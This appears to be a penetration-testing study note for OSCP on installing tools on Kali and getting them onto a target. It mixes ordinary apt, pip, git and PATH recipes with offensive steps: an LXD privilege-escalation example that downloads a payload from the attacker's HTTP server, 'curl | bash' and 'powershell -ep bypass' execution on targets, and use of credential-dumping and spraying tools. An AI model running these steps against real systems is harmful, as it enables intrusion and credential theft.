Install, Download & Run Tools — How-To

Ctrl+F: git clone · .deb · pip install . · /usr/local/bin · PATH · wget · make install

External: Internal All The Things — Windows Download Execute

One reference for mechanicshow to install anything. Per-tool commands → Installation - Kali Setup.

Got a file or URL? → pick type below → install → make runnable → verify with `which`

Archives (zip / 7z / tar / rar): Archives - unzip 7z zip — extract, inspect, password-protected zips, when not to extract.


📌 0) Before you install

which TOOLNAME              # already on Kali?
TOOLNAME -h 2>&1 | head -3
sudo apt update             # refresh apt index first
PreferWhen
apt installTool is in Kali repos — easiest, gets updates
pip install packagePython PyPI tool (certipy-ad, bloodyAD)
git clone + pip install .Latest GitHub version (Impacket, Responder)
Download binary / .debReleases page only, no apt package

📌 1) File type → what to do

Extension / typeWhat it isCommands
(none) — apt nameKali packagesudo apt install -y PACKAGENAME
.debDebian/Ubuntu package filesudo apt install ./file.deb or sudo dpkg -i file.deb && sudo apt -f install
.rpmRed Hat package (rare on Kali)sudo alien -i file.rpm (install alien first)
.tar.gz / .tgz / .tar.xzSource or prebuilt tarballExtract: Archives - unzip 7z zip > 📌 tar / .tar.gz / .tgz · Use as-is: pass to tool (e.g. LXC lxc image import)
.zipArchiveArchives - unzip 7z zip7z x · unzip · zipinfo -v
.pyPython scriptpython3 script.py or install package (below)
.shShell scriptchmod +x script.sh./script.sh or symlink to PATH
Binary (no ext)Precompiled executablechmod +x binarysudo mv binary /usr/local/bin/must match target archExec format error - Binary Architecture Mismatch
.jarJava app (Burp, ysoserial)java -jar file.jar (needs default-jre)
.exe / .ps1WindowsTransfer to target — not for Kali
.AppImagePortable Linux appchmod +x AppImage && ./AppImage
Git URLSource repogit clone URL → build/install (§3)

📌 1b) Archives — extract vs use as-is

Full reference → Archives - unzip 7z zip (zip, 7z, rar, tar, password cracks).

You got…Usually…Commands
.zip / .7z / .rarExtract, then grep / run7z x file.zip · Archives - unzip 7z zip
.tar.gz source releaseExtract, then make / pip install .tar -xzvf tool.tar.gz && cd tool-*
.tar.gz container imageDo not extract — pass file to import toolLXC: ./exx -f alpine-*.tar.gzlxc - LXD Privilege Escalation - EDB 46978
.debInstall with apt/dpkgsudo apt install ./file.deb (§2)

Example — LXC Alpine image (1119.tar.gz)

Built on Kali, transferred to target, consumed by exploit without tar -xzf:

# Kali — build (as root)
wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine
sudo bash build-alpine
# → alpine-v3.24-x86_64-20260723_1119.tar.gz  (name varies)
 
python3 -m http.server 8080
# Target — download only (keep .tar.gz intact)
wget http://KALI:8080/alpine-v3.24-x86_64-20260723_1119.tar.gz
chmod +x exx
./exx -f alpine-v3.24-x86_64-20260723_1119.tar.gz
# lxc image import reads the tarball — do NOT tar -xzf it first

Example — tool source tarball

wget https://example.com/tool-1.0.tar.gz
tar -xzvf tool-1.0.tar.gz
cd tool-1.0 && cat README && make && sudo make install

File Transfer · Archives - unzip 7z zip


apt — Kali packages (.deb repos)

sudo apt update
sudo apt install -y nmap gobuster python3-impacket hashcat hydra
 
# Search for a package name
apt search impacket
apt show python3-impacket

Manual .deb file

# Download
wget https://example.com/tool_amd64.deb
curl -LO https://example.com/tool_amd64.deb
 
# Install (preferred — resolves dependencies)
sudo apt install ./tool_amd64.deb
 
# Alternative
sudo dpkg -i tool_amd64.deb
sudo apt -f install          # fix missing dependencies

pip / pip3 — Python from PyPI

# Single package
pip3 install certipy-ad
pip3 install bloodyAD nxcspray
 
# From requirements.txt (after git clone)
cd /opt/tool && pip3 install -r requirements.txt
 
# Kali 2024+ — system Python may block pip; use ONE of:
pip3 install PACKAGE --break-system-packages
python3 -m venv ~/venv/tool && source ~/venv/tool/bin/activate && pip install PACKAGE

Python > venv

gem / npm (occasional)

sudo gem install evil-winrm          # Ruby tools
sudo npm install -g some-cli         # Node tools (less common on OSCP)

Download with wget / curl

wget https://github.com/user/repo/releases/download/v1.0/tool
curl -LO https://example.com/tool.tar.gz    # -L follow redirects, -O save name
 
chmod +x tool
sudo mv tool /usr/local/bin/

Build from source (Makefile)

tar -xzf tool-1.0.tar.gz && cd tool-1.0
./configure && make && sudo make install     # autotools
# or
make && sudo make install                    # stegseek, some C tools

📌 3) git clone — full workflow

Basic clone

sudo mkdir -p /opt && cd /opt
git clone https://github.com/fortra/impacket.git
cd impacket
ls

Clone to /opt/TOOL (system tools) or ~/tools/TOOL (personal).

Update existing clone

cd /opt/impacket
git pull
pip3 install . --break-system-packages    # re-install if Python package

Install Python project from clone (Impacket pattern)

Makes impacket-psexec, impacket-secretsdump, etc. available everywhere:

git clone https://github.com/fortra/impacket /opt/impacket
cd /opt/impacket
pip3 install . --break-system-packages
# or editable (changes in repo apply immediately):
pip3 install -e . --break-system-packages
 
# Verify — should be on PATH
which impacket-psexec
impacket-secretsdump -h

What pip install . does: reads setup.py / pyproject.toml → installs package + console_scripts entry points into ~/.local/bin or system bin.

Clone + requirements only (no setup.py entry points)

git clone https://github.com/unode/firefox_decrypt ~/tools/firefox_decrypt
cd ~/tools/firefox_decrypt
pip3 install -r requirements.txt --break-system-packages   # if requirements.txt exists
python3 firefox_decrypt.py /path/to/profile/              # run by path

Clone + run script directly (no install)

git clone https://github.com/DominicBreuker/pspy.git ~/tools/pspy
cd ~/tools/pspy
python3 pspy64s.py -h
# or
chmod +x pspy64 && ./pspy64

📌 4) Make a tool usable anywhere (PATH)

Hydra, nmap, and impacket-secretsdump work from any directory because their binaries are on PATH.

echo $PATH
# /usr/local/bin:/usr/bin:/bin:...:/home/you/.local/bin

Method A — pip install . (best for Python projects)

cd /opt/impacket && pip3 install . --break-system-packages
which impacket-psexec    # → /usr/local/bin/impacket-psexec or ~/.local/bin/...

Ensures ~/.local/bin is on PATH (Kali usually includes it):

echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.zshrc
source ~/.zshrc
sudo ln -sf /opt/impacket/examples/secretsdump.py /usr/local/bin/secretsdump.py
sudo chmod +x /usr/local/bin/secretsdump.py
 
# If script uses #!/usr/bin/env python3 shebang:
secretsdump.py -h
 
# Or force python3:
sudo ln -sf /opt/krbrelayx/krbrelayx.py /usr/local/bin/krbrelayx.py

Shebangs

Method C — Copy binary to /usr/local/bin

chmod +x pspy64
sudo cp pspy64 /usr/local/bin/
pspy64 -h

Method D — Wrapper in /usr/local/bin

For scripts that must run from their repo dir:

sudo tee /usr/local/bin/krbrelayx << 'EOF'
#!/bin/bash
cd /opt/krbrelayx && exec python3 krbrelayx.py "$@"
EOF
sudo chmod +x /usr/local/bin/krbrelayx
krbrelayx -h

Method E — Add directory to PATH (session or permanent)

# This session only
export PATH="/opt/impacket/examples:$PATH"
secretsdump.py -h
 
# Permanent
echo 'export PATH="/opt/impacket/examples:$PATH"' >> ~/.zshrc
source ~/.zshrc

Method F — alias (quick & dirty)

echo "alias secretsdump='python3 /opt/impacket/examples/secretsdump.py'" >> ~/.zshrc
source ~/.zshrc
MethodBest for
pip install .Official Python packages (Impacket, certipy-ad)
Symlink to /usr/local/binSingle .py script with shebang
Copy binaryGo/Rust releases, pspy, static bins
Wrapper scriptTool needs files from its repo directory
export PATH=...Whole folder of scripts (Impacket examples/)

📌 5) Common OSCP install recipes

Impacket (apt vs git)

# Quick — Kali package
sudo apt install -y python3-impacket
ls /usr/share/doc/python3-impacket/examples/
 
# Latest — git + pip
git clone https://github.com/fortra/impacket /opt/impacket
cd /opt/impacket && pip3 install . --break-system-packages
impacket-psexec -h

Impacket

Responder

git clone https://github.com/lgandx/Responder /opt/Responder
cd /opt/Responder
sudo python3 Responder.py -I tun0 -A
# or symlink:
sudo ln -sf /opt/Responder/Responder.py /usr/local/bin/responder

firefox_decrypt

git clone https://github.com/unode/firefox_decrypt ~/tools/firefox_decrypt
python3 ~/tools/firefox_decrypt/firefox_decrypt.py ./fir/

Firefox Credentials - firefox_decrypt

nxcspray (pip + PATH)

git clone https://github.com/NTHSec/nxcspray.git
sudo cp nxcspray/nxcspray /usr/local/bin/ && sudo chmod +x /usr/local/bin/nxcspray
nxcspray targets.txt user pass smb,winrm,ssh

LinPEAS (already on Kali via peass)

sudo apt install -y peass
linpeas.sh
# path: /usr/share/peass/linpeas/linpeas.sh

BloodHound CE (git + docker or manual)

git clone https://github.com/SpecterOps/BloodHound.git
# Follow repo README for docker-compose or binary

Generic GitHub release binary

wget https://github.com/USER/REPO/releases/download/v1.0/tool-linux-amd64
chmod +x tool-linux-amd64
sudo mv tool-linux-amd64 /usr/local/bin/toolname
toolname -h

📌 6) Python venv (when pip blocks system install)

Kali 2024+ may show externally-managed-environment error:

python3 -m venv ~/venv/impacket
source ~/venv/impacket/bin/activate
pip install git+https://github.com/fortra/impacket.git
impacket-secretsdump -h
deactivate
 
# Re-activate later
source ~/venv/impacket/bin/activate

Python


📌 7) Transfer TO TARGET (not Kali install)

FileTarget action
.exeUpload via File Transfer → run on Windows
.ps1powershell -ep bypass -f script.ps1
linpeas.shcurl | bash or chmod +x && ./linpeas.sh
Static binarychmod +x && ./binary

Kali serves; target downloads:

python3 -m http.server 8080
# target: wget http://KALI:8080/tool -O tool && chmod +x tool

File Transfer


📌 8) Verify & troubleshoot

which impacket-psexec secretsdump.py nxc hydra
type impacket-psexec
pip3 show impacket
dpkg -l | grep impacket
command -v python3
 
# pip installed but not found — add local bin
export PATH="$HOME/.local/bin:$PATH"
ProblemFix
command not found after pipexport PATH="$HOME/.local/bin:$PATH"
externally-managed-environmentvenv or --break-system-packages
dpkg dependency errorssudo apt -f install
Script ModuleNotFoundErrorpip3 install -r requirements.txt in repo
Permission deniedchmod +x file
Wrong architectureDownload correct amd64/arm binary

📌 Quick cheat sheet

# apt
sudo apt update && sudo apt install -y PACKAGE
 
# .deb file
sudo apt install ./package.deb
 
# git + python tool (usable everywhere)
git clone https://github.com/org/repo /opt/repo
cd /opt/repo && pip3 install . --break-system-packages
 
# git + run once
git clone URL ~/tools/repo && python3 ~/tools/repo/script.py
 
# single script → PATH
sudo ln -sf /full/path/script.py /usr/local/bin/script.py
 
# binary release
wget URL && chmod +x bin && sudo mv bin /usr/local/bin/name
 
# verify
which name && name -h